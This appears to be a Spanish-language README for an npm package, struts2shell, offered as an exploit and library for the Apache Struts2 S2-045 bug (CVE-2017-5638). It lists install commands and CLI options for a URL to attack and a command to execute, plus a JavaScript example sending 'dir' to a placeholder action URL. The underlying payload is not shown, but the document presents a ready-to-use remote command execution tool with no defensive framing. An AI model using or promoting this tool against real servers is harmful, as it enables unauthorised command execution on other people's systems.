
Un exploit (y biblioteca) para CVE-2017-5638 - el bug Apache Struts2 S2-045.
Un exploit (y biblioteca) para CVE-2017-5638 - el bug S2-045 de Apache Struts2.
$ npm install -g struts2shell
$ npm install struts2shell
-h, --help muestra información de uso
-V, --version muestra el número de versión
-u, --url [target] URL a Atacar
-c, --cmd [command] Comando a Ejecutar
var Struts2Shell = require('struts2shell');
Struts2Shell({
URL: 'http://example.com/some.action',
CMD: 'dir'
}, function(err, response,body) {
if(err) throw err;
console.log(body)
})

MIT
¡Software Libre, Claro Que Sí!